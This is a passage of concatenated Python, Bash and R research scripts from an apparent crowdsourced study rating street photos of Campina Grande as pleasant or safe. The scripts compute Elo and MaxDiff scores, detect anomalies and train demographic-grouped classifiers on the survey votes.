outputFile1 = open("agradMaxDiff.csv", "w")
outputFile2 = open("segMaxDiff.csv", "w")
#Converting to MaxDiff format
for question, qDic in votes.iteritems():
result = ""
counter = 0
for photo1, photosDic in qDic.iteritems():
for photo2, votesList in photosDic.iteritems():
answer = list(votesList)[0]#Answer to consider
index1 = allPhotosList.index(photo1)
index2 = allPhotosList.index(photo2)
minimumIndex = min(index1, index2)
maximumIndex = max(index1, index2)
currentResult = ""
counter = counter + 1
#print str(minimumIndex) + " " + str(maximumIndex)
#Filling the positions of winner, loser and medium and other positions with "a"
if answer == left:
#print ">>> L"
for i in range(0, minimumIndex):
currentResult = currentResult + "a" + ','
#print currentResult
currentResult = currentResult + "1,"
for i in range(minimumIndex, maximumIndex):
currentResult = currentResult + "a" + ','
currentResult = currentResult + "-1,"
for i in range(maximumIndex, len(allPhotosList)):
currentResult = currentResult + "a" + ','
result = result + currentResult
elif answer == right:
#print ">>> R"
for i in range(0, minimumIndex):
currentResult = currentResult + "a" + ','
currentResult = currentResult + "-1,"
for i in range(minimumIndex, maximumIndex):
currentResult = currentResult + "a" + ','
currentResult = currentResult + "1,"
for i in range(maximumIndex, len(allPhotosList)):
currentResult = currentResult + "a" + ','
result = result + currentResult
elif answer == notKnown:
#print ">>> L"
for i in range(0, minimumIndex):
currentResult = currentResult + "a" + ','
currentResult = currentResult + "0,"
for i in range(minimumIndex, maximumIndex):
currentResult = currentResult + "a" + ','
currentResult = currentResult + "0,"
for i in range(maximumIndex, len(allPhotosList)):
currentResult = currentResult + "a" + ','
result = result + currentResult
if question == "seguro?":
outputFile2.write(currentResult+"\n")
else:
outputFile1.write(currentResult+"\n")
if question == "seguro?":
outputFile2.write(str(counter)+"\n")
outputFile2.close()
else:
outputFile1.write(str(counter)+"\n")
outputFile1.close()
def generateMaxDiff(totalAlternatives, totalResponses, totalTies):
""" Building random MaxDiff design answers """
outputFile1 = open("agradMaxDiffTemp.csv", "w")
for question in ["agrad%C3%A1vel?"]:
for responseIndex in range(0, totalResponses):
result = ""
counter = 0
winner = random.randrange(1, totalAlternatives, 1)
loser = random.randrange(1, totalAlternatives, 1)
while loser == winner:
loser = random.randrange(1, totalAlternatives, 1)
middle = []
for tieIndex in range(0, totalTies):
currentValue = random.randrange(1, totalAlternatives, 1)
while currentValue == winner or currentValue == loser or currentValue in middle:
currentValue = random.randrange(1, totalAlternatives, 1)
middle.append(currentValue)
#print str(winner) + " " + str(middle) + " " + str(loser)
#Building sequence of elements and choices
currentResult = ""
allIndexes = [loser, winner]
allIndexes.extend(middle)
allIndexes.sort()
print str(allIndexes)
firstStop = 0
while len(allIndexes) > 0:
nextStop = allIndexes.pop(0)
#Building up to first element choosed
for i in range(firstStop, nextStop):
currentResult = currentResult + "NA" + ','
if nextStop == winner:
currentResult = currentResult + "1" + ","
elif nextStop == loser:
currentResult = currentResult + "-1" + ","
else:
currentResult = currentResult + "0" + ","
if len(allIndexes) > 0:
firstStop = nextStop
for i in range(nextStop, totalAlternatives):
currentResult = currentResult + "NA" + ','
outputFile1.write(currentResult+"\n")
outputFile1.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com execução das tarefas>"
sys.exit(1)
convertToMaxDiff(sys.argv[1])
#generateMaxDiff(10, 10, 7)
<file_sep># coding=utf-8
# Computes Elo ratings according to pairwise comparisons of images in Como é Campina?
import csv
import math
import sys
from sets import Set
import random
import numpy
import json
import pandas as pd
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
allPhotos = Set([])
#possible answers
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
initial_rating = 1500#Elo initial rating
K = 10#10, 20, 40?
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
#print data
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
def resetCounters(allPhotos):
photos_ratings = {possibleQuestions[0] : {}, possibleQuestions[1] : {}}
for photo in allPhotos:
photos_ratings[possibleQuestions[0]][photo] = initial_rating
photos_ratings[possibleQuestions[1]][photo] = initial_rating
return photos_ratings
def evaluate_ELO(lines, outputFileName, tasksDefinitions, samples):
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Reading from pybossa task-run CSV
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#It is a new vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if data['question'].strip(' \t\n\r"') == "agradavel?" or data['question'].strip(' \t\n\r"') == possibleQuestions[0]:
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1 = data['theMost'].strip(' \t\n\r"')
photo2 = data['theLess'].strip(' \t\n\r"')
is_tie = photo1
if len(photo1) == 0 or len(photo2) == 0:#Error in persisting photos!
print "Foto zerada! " + line
continue
taskDef = tasksDefinitions[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if is_tie != completeTie:
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
if not votes[question][photo1].has_key(photo3):
votes[question][photo1][photo3] = set([])
if not votes[question][photo1].has_key(photo4):
votes[question][photo1][photo4] = set([])
if not votes[question].has_key(photo2):
votes[question][photo2] = {}
if not votes[question][photo2].has_key(photo3):
votes[question][photo2][photo3] = set([])
if not votes[question][photo2].has_key(photo4):
votes[question][photo2][photo4] = set([])
if not votes[question].has_key(photo3):
votes[question][photo3] = {}
if not votes[question][photo3].has_key(photo4):
votes[question][photo3][photo4] = set([])
#Saving votes from task-run
if is_tie != completeTie:
votes[question][photo1][photo2].add(left)
votes[question][photo1][photo3].add(left)
votes[question][photo1][photo4].add(left)
votes[question][photo2][photo3].add(right)
votes[question][photo2][photo4].add(right)
votes[question][photo3][photo4].add(notKnown)
else:
votes[question][photo1][photo2].add(notKnown)
votes[question][photo1][photo3].add(notKnown)
votes[question][photo1][photo4].add(notKnown)
votes[question][photo2][photo3].add(notKnown)
votes[question][photo2][photo4].add(notKnown)
votes[question][photo3][photo4].add(notKnown)
allPhotos.add(photo1)
allPhotos.add(photo2)
allPhotos.add(photo3)
allPhotos.add(photo4)
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
#Saving votes from task-run
votes[question][photo1][photo2].add(answer)
allPhotos.add(photo1)
allPhotos.add(photo2)
#Evaluating votes in order to choose winning photos or ties
allRatings = {possibleQuestions[0]: {}, possibleQuestions[1]: {}}
for i in range(0, samples):
photos_ratings = resetCounters(allPhotos)
for question, qDic in votes.iteritems():
for photo1, photosDic in qDic.iteritems():
for photo2, votesList in photosDic.iteritems():
answer = random.sample(votesList, 1)[0]#Generating answer to consider
points_1 = 0
points_2 = 0
if answer == left:
points_1 = 1
points_2 = 0
elif answer == right:
points_1 = 0
points_2 = 1
elif answer == notKnown:
points_1 = 0.5
points_2 = 0.5
expected_1 = 1 / ( 1+10**( (photos_ratings[question][photo2] - photos_ratings[question][photo1])/400 ) )
expected_2 = 1 / ( 1+10**( (photos_ratings[question][photo1] - photos_ratings[question][photo2])/400 ) )
#rounded_elo_prob = round(expected_1, 2)
#elo_brier = (rounded_elo_prob - points_1) * (rounded_elo_prob - points_1)
#elo_points = 25 - (100 * elo_brier)
#elo_points = round(elo_points + 0.001 if elo_points < 0 else elo_points, 1) # Round half up
#print ">>>>>> Brier points " + str(elo_brier) + " " + str(points_1) + " " + str(photos_ratings[question][photo1]) + " " + str(photos_ratings[question][photo2])
#print ">>>>>> Elo points " + str(K * (points_1 - expected_1)) + " " + str(points_1) + " " + str(photos_ratings[question][photo1]) + " " + str(photos_ratings[question][photo2])
photos_ratings[question][photo1] = photos_ratings[question][photo1] + K * (points_1 - expected_1)
photos_ratings[question][photo2] = photos_ratings[question][photo2] + K * (points_2 - expected_2)
for question, qDic in photos_ratings.iteritems():
for photo, rating in qDic.iteritems():
if not allRatings[question].has_key(photo):
allRatings[question][photo] = []
allRatings[question][photo].append(rating)
#Output file
output = open(outputFileName, 'w')
for question, qDic in allRatings.iteritems():
for photo, ratingList in qDic.iteritems():
#output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r').encode("utf-8")+ "\t" + str(numpy.mean(ratingList))+"\t" + str(ratingList).strip("[ ]").replace(",", "\t")+'\n')
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r').encode("utf-8")+ "\t" + str(numpy.mean(ratingList))+"\n")
output.close()
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <arquivo com execuções das tarefas> <tasks definition - V2> <amount of samples> <K value>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
tasksFile = open(sys.argv[2], 'r')
samples = int(sys.argv[3])
K = int(sys.argv[4])
lines = dataFile.readlines()
linesTasks = tasksFile.readlines()
evaluate_ELO(lines, "all_elo.dat", readTasksDefinitions(linesTasks), samples)
<file_sep>#!/bin/bash
for input_file in classifier_input_wodraw.dat ; do
#classifier_input_rnr.dat ; do
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
else
outputSpec='3classes'
fi
echo "#### Only with urban elements features - Split before train ####" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Masculino" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test gender-masculino >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Feminino" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test gender-feminino >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Jovem" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test age-jovem >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Adulto" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test age-adulto >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Baixa" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test income-baixa >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Media" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test income-media >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Solteiro" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test marital-solteiro >> classifier_output_groups_wo_user_features_${outputSpec}.dat
echo ">> Casado" >> classifier_output_groups_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} test marital-casado >> classifier_output_groups_wo_user_features_${outputSpec}.dat
done
<file_sep>from __future__ import division
from itertools import izip, count
import matplotlib.pyplot as plt
from numpy import linspace, loadtxt, ones, convolve
import numpy as np
import pandas as pd
import collections
from random import randint
from matplotlib import style
style.use('fivethirtyeight')
import sys
# 3. Lets define some use-case specific UDF(User Defined Functions)
def moving_average(data, window_size):
""" Computes moving average using discrete linear convolution of two one dimensional sequences.
Args:
-----
data (pandas.Series): independent variable
window_size (int): rolling window size
Returns:
--------
ndarray of linear convolution
References:
------------
[1] Wikipedia, "Convolution", http://en.wikipedia.org/wiki/Convolution.
[2] API Reference: https://docs.scipy.org/doc/numpy/reference/generated/numpy.convolve.html
"""
window = np.ones(int(window_size))/float(window_size)
return np.convolve(data, window, 'same')
def explain_anomalies(y, window_size, sigma=1.0):
""" Helps in exploring the anamolies using stationary standard deviation
Args:
-----
y (pandas.Series): independent variable
window_size (int): rolling window size
sigma (int): value for standard deviation
Returns:
--------
a dict (dict of 'standard_deviation': int, 'anomalies_dict': (index: value))
containing information about the points indentified as anomalies
"""
avg = moving_average(y, window_size).tolist()
residual = y - avg
# Calculate the variation in the distribution of the residual
std = np.std(residual)
return {'standard_deviation': round(std, 3),
'anomalies_dict': collections.OrderedDict([(index, y_i) for
index, y_i, avg_i in izip(count(), y, avg)
if (y_i > avg_i + (sigma*std)) | (y_i < avg_i - (sigma*std))])}
def explain_anomalies_rolling_std(y, window_size, sigma=1.0):
""" Helps in exploring the anamolies using rolling standard deviation
Args:
-----
y (pandas.Series): independent variable
window_size (int): rolling window size
sigma (int): value for standard deviation
Returns:
--------
a dict (dict of 'standard_deviation': int, 'anomalies_dict': (index: value))
containing information about the points indentified as anomalies
"""
avg = moving_average(y, window_size)
avg_list = avg.tolist()
residual = y - avg
# Calculate the variation in the distribution of the residual
testing_std = pd.rolling_std(residual, window_size)
testing_std_as_df = pd.DataFrame(testing_std)
rolling_std = testing_std_as_df.replace(np.nan,
testing_std_as_df.ix[window_size - 1]).round(3).iloc[:,0].tolist()
std = np.std(residual)
return {'stationary standard_deviation': round(std, 3),
'anomalies_dict': collections.OrderedDict([(index, y_i)
for index, y_i, avg_i, rs_i in izip(count(),
y, avg_list, rolling_std)
if (y_i > avg_i + (sigma * rs_i)) | (y_i < avg_i - (sigma * rs_i))])}
# This function is repsonsible for displaying how the function performs on the given dataset.
def plot_results(x, y, window_size, sigma_value=1,
text_xlabel="X Axis", text_ylabel="Y Axis", applying_rolling_std=False):
""" Helps in generating the plot and flagging the anamolies.
Supports both moving and stationary standard deviation. Use the 'applying_rolling_std' to switch
between the two.
Args:
-----
x (pandas.Series): dependent variable
y (pandas.Series): independent variable
window_size (int): rolling window size
sigma_value (int): value for standard deviation
text_xlabel (str): label for annotating the X Axis
text_ylabel (str): label for annotatin the Y Axis
applying_rolling_std (boolean): True/False for using rolling vs stationary standard deviation
"""
plt.figure(figsize=(15, 8))
plt.plot(x, y, "k.")
y_av = moving_average(y, window_size)
plt.plot(x, y_av, color='green')
plt.xlim(0, 1600)
plt.xlabel(text_xlabel)
plt.ylabel(text_ylabel)
# Query for the anomalies and plot the same
events = {}
if applying_rolling_std:
events = explain_anomalies_rolling_std(y, window_size=window_size, sigma=sigma_value)
else:
events = explain_anomalies(y, window_size=window_size, sigma=sigma_value)
# Display the anomaly dict
print("Information about the anomalies model:{}".format(events))
x_anomaly = np.fromiter(events['anomalies_dict'].iterkeys(), dtype=int, count=len(events['anomalies_dict']))
y_anomaly = np.fromiter(events['anomalies_dict'].itervalues(), dtype=float,
count=len(events['anomalies_dict']))
x_to_plot = [x[index] for index in x_anomaly]
print( "Keys " + str( [ (x_to_plot[i], y_anomaly[i]) for i in range(0, len(x_to_plot)) ] ) )
plt.plot(x_to_plot, y_anomaly, "r*", markersize=12)
# add grid and lines and enable the plot
plt.grid(True)
plt.show()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo de scores a avaliar>"
sys.exit(1)
data = pd.read_csv(sys.argv[1], sep="\t", header=0)
# 2. View the data as a table
data_as_frame = pd.DataFrame(data, columns=['num', 'qscore'])
data_as_frame.head()
# 4. Lets play with the functions
x = data_as_frame['num']
Y = data_as_frame['qscore']
# plot the results
plot_results(x, y=Y, window_size=2, text_xlabel="Street Num.", sigma_value=0.5,
text_ylabel="Scores")
events = explain_anomalies(y, window_size=2, sigma=0.5)
# Display the anomaly dict
print("Information about the anomalies model:{}".format(events))
<file_sep>#!/bin/Rscript
suppressMessages(library(ggplot2, quietly=TRUE))
suppressMessages(library(plyr, quietly=TRUE))
suppressMessages(library(scales, quietly=TRUE))
suppressMessages(library(reshape, quietly=TRUE))
#Gerando percentuais gerais
args <- commandArgs(trailingOnly = TRUE)
data <- read.table(args[1], skip=1)
data$V4 <- data$V2/661
data$V5 <- data$V2/data$V3
sorted <- data[order(-data$V4),]
write.table(sorted, file="percentualGeralPorTotalDeComparacoes.dat")
sorted <- data[order(-data$V5),]
write.table(sorted, file="percentualGeralPorComparacoes.dat")
<file_sep>from sklearn.cross_validation import LeaveOneLabelOut
from sklearn.grid_search import GridSearchCV
from sklearn.linear_model import LogisticRegressionCV
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.metrics import accuracy_score
from sklearn.metrics import classification_report
from sklearn.metrics import precision_recall_fscore_support
from sklearn.preprocessing import StandardScaler
import numpy as np
import pandas as pd
import statsmodels.api as sm
# In[2]:
def scale_and_combine(df, scaler, cols_to_scale, cols_to_combine):
df_new = df.copy()
df_new[cols_to_scale] = scaler.transform(df[cols_to_scale].copy())
for u_col in cols_to_combine:
for o_col in cols_to_scale:
new_name = u_col + ':' + o_col
df_new[new_name] = df[u_col] * df_new[o_col]
for u_col in cols_to_combine:
del df_new[u_col]
return df_new
# In[3]:
def train_test_scale(df, y, users, cols_to_scale, cols_to_combine):
for train, test in LeaveOneLabelOut(users):
scaler = StandardScaler().fit(df.iloc[train][cols_to_scale].copy())
df_new_train = scale_and_combine(df.iloc[train], scaler, cols_to_scale, cols_to_combine)
df_new_test = scale_and_combine(df.iloc[test], scaler, cols_to_scale, cols_to_combine)
yield df_new_train, df_new_test, y.iloc[train], y.iloc[test]
# In[4]:
fpath = 'seg.dat'
df_orig = pd.read_csv(fpath, sep=' ')
df_user = pd.get_dummies(df_orig, columns=['age_cat', 'gender', 'inc_cat'], prefix='user')
df_user_bairro = pd.get_dummies(df_user, columns=['bair_cat'], prefix='bairro')
user_ids = df_user_bairro['userID'].copy()
del df_user_bairro['userID']
del df_user_bairro['bairro_mesmo']
del df_user_bairro['user_jovem']
del df_user_bairro['user_feminino']
del df_user_bairro['user_baixa']
df_user_bairro = sm.add_constant(df_user_bairro)
y = pd.read_csv('y_' + fpath)
# In[5]:
#user_cols = [x for x in df_user_bairro.columns if x.startswith('user_')]
user_cols = []
bairro_cols = [x for x in df_user_bairro.columns if x.startswith('bairro_')]
other_cols = [x for x in df_user_bairro.columns if x.startswith('d_')]
# In[6]:
scaler = StandardScaler().fit(df_user_bairro[other_cols].copy())
df_david = scale_and_combine(df_user_bairro, scaler, other_cols, user_cols)
#model = sm.Logit(y, df_david)
#fitted = model.fit()
#fitted.summary()
# In[7]:
#fitted.params[fitted.pvalues < 0.05]
# In[22]:
def do_class(df, y, user_ids, cols_to_scale, cols_to_combine):
y_pred_all = []
y_true_all = []
for df_train, df_test, y_train, y_test in train_test_scale(df, y, user_ids, cols_to_scale, cols_to_combine):
print "### One more user"
model = GridSearchCV(ExtraTreesClassifier(n_jobs=-1), param_grid = {'min_samples_split': [2, 4, 8, 16, 32, 64, 128], 'min_samples_leaf': [2, 4, 8, 16, 32, 64, 128], 'n_estimators': [1, 2, 4, 16, 32, 64, 128]}, cv=3)
model.fit(df_train.values, y_train.values[:, 0])
clf = model.best_estimator_
print "CONF " + str(clf.n_estimators) + "\t" + str(clf.max_features) + "\t" + str(clf.max_depth)+ "\t" + str(clf.min_samples_split)+ "\t" + str(clf.min_samples_leaf)
y_pred = model.predict(df_test.values)
#model = sm.Logit(y_train, df_train)
#fitted = model.fit()
#y_pred = fitted.predict(df_test) >= 0.5
y_pred_all.extend(y_pred)
y_true_all.extend(y_test.values[:, 0])
print(y_true_all)
print(y_pred_all)
print(classification_report(y_true_all, y_pred_all))
print(accuracy_score(y_true_all, y_pred_all))
do_class(df_user_bairro, y, user_ids, other_cols, user_cols)
<file_sep># coding=utf-8
# Prepares tasks and users data for classification
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
import urllib, cStringIO
completeTie = 'equal'
left = 'left'
right = 'right'
notKnown = 'notknown'
def readTasksExecution(lines, tasksDefinitions, usersDefinitions, imagesDefinitions, output_file):
#Header
output_file.write("question\tphoto1\tphoto2\tchoice\tuserID\tage\tgender\tincome\teducation\tcity\tmarital\tstreet_wid1\tsidewalk_wid1\tlandscape1\tbuild_ident1\ttrees1\tcyclists1\tmov_cars1\tpeople1\tpark_cars1\tstreet_wid2\tsidewalk_wid2\tlandscape2\tbuild_ident2\ttrees2\tcyclists2\tmov_cars2\tpeople2\tpark_cars2\n")
for line in lines:
data = line.split("+")
executionID = data[0].strip(' \t\n\r')
taskID = data[3].strip(' \t\n\r"')
userID = data[4].strip(' \t\n\r"')
userAnswer = data[9].strip(' \t\n\r"')
#print imagesDefinitions.keys()
if usersDefinitions.has_key(userID):
userInfo = usersDefinitions[userID]#Retrieving user data
if executionID[0].lower() == 'n':#MaxDiff design
answer = json.loads(userAnswer)
question = answer['question'].strip(' \t\n\r"')
photo1 = answer['theMost'].strip(' \t\n\r"')
photo2 = answer['theLess'].strip(' \t\n\r"')
taskDef = tasksDefinitions[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if len(photo1) == 0 or len(photo2) == 0:#Error in persisting photos!
print "Foto zerada! " + line
continue
if photo1 != completeTie:
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
photo1Info = imagesDefinitions[photo1]
photo2Info = imagesDefinitions[photo2]
photo3Info = imagesDefinitions[photo3]
photo4Info = imagesDefinitions[photo4]
#Saving votes from task-run
if photo1 != completeTie:
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
else:
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
output_file.write(question + "\t" + urllib.quote(photo3.encode('utf8'), ':/') + "\t" + urllib.quote(photo4.encode('utf8'), ':/') + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r') + "\n")
else:#Pairwise comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
photo1Info = imagesDefinitions[photo1]
photo2Info = imagesDefinitions[photo2]
if answer.lower() == left:
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\n")
elif answer.lower() == right:
output_file.write(question + "\t" + urllib.quote(photo1.encode('utf8'), ':/') + "\t" + urllib.quote(photo2.encode('utf8'), ':/') + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\n")
else:
#print(photo1)
#print(photo2)
#print(" ".join(userInfo))
#print(photo1Info)
#print(" ".join(photo2Info))
output_file.write(question + "\t" + photo1 + "\t" + photo2 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
return tasksDef
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
possibleIncomesOld = ["Baixa (at\u00e9 R$ 1.449,99)", "M\u00e9dia Baixa (R$ 1.450 a R$ 2.899,99)", "M\u00e9dia (R$ 2.900 a R$ 7.249,99)", "M\u00e9dia Alta (R$ 7.250 a R$ 14.499,99)", "Alta (R$ 14.500 ou mais)"]
possibleIncomesNew = ["baixa", "media baixa", "media", "media alta", "alta"]
def readUsersDefinitions(linesUsers, not_local_ids):
usersDef = {}
for line in linesUsers:
data = line.split("|")
#print data
userID = data[0].strip(' \t\n\r')
userInfoData = data[1].strip(' \t\n\r')
if len(userInfoData) == 0:
#usersDef[userID] = ['', '', '', '', '', '', '', '[]']
continue
else:
userInfo = userInfoData.split("+")
if len(userInfo[0]) == 0 and len(userInfo[1]) == 0 and len(userInfo[2]) == 0 and len(userInfo[3]) == 0 and len(userInfo[4]) == 0 and len(userInfo[5]) == 0 and len(userInfo[6]) == 0:
#usersDef[userID] = ['', '', '', '', '', '', '', '[]']
continue
else:
#print userInfo
gender = ""
if len(userInfo[1]) > 0:
if userInfo[1][0].lower() == 'm':
gender = "masculino"
else:
gender = "feminino"
income = ""
if len(userInfo[2]) > 0:
if userInfo[2] == possibleIncomesOld[0] or userInfo[2] == possibleIncomesNew[0]:
income = "baixa"
elif userInfo[2] == possibleIncomesOld[1] or userInfo[2] == possibleIncomesNew[1]:
income = "media baixa"
elif userInfo[2] == possibleIncomesOld[2] or userInfo[2] == possibleIncomesNew[2]:
income = "media"
elif userInfo[2] == possibleIncomesOld[3] or userInfo[2] == possibleIncomesNew[3]:
income = "media alta"
elif userInfo[2] == possibleIncomesOld[4] or userInfo[2] == possibleIncomesNew[4]:
income = "alta"
educ = ""
if len(userInfo[3]) > 0:
if userInfo[3][0].lower() == 'e':
educ = "ensino medio"
elif userInfo[3][0].lower() == 'g':
educ = "graduacao"
elif userInfo[3][0].lower() == 'm':
educ = "mestrado"
elif userInfo[3][0].lower() == 'd':
educ = "doutorado"
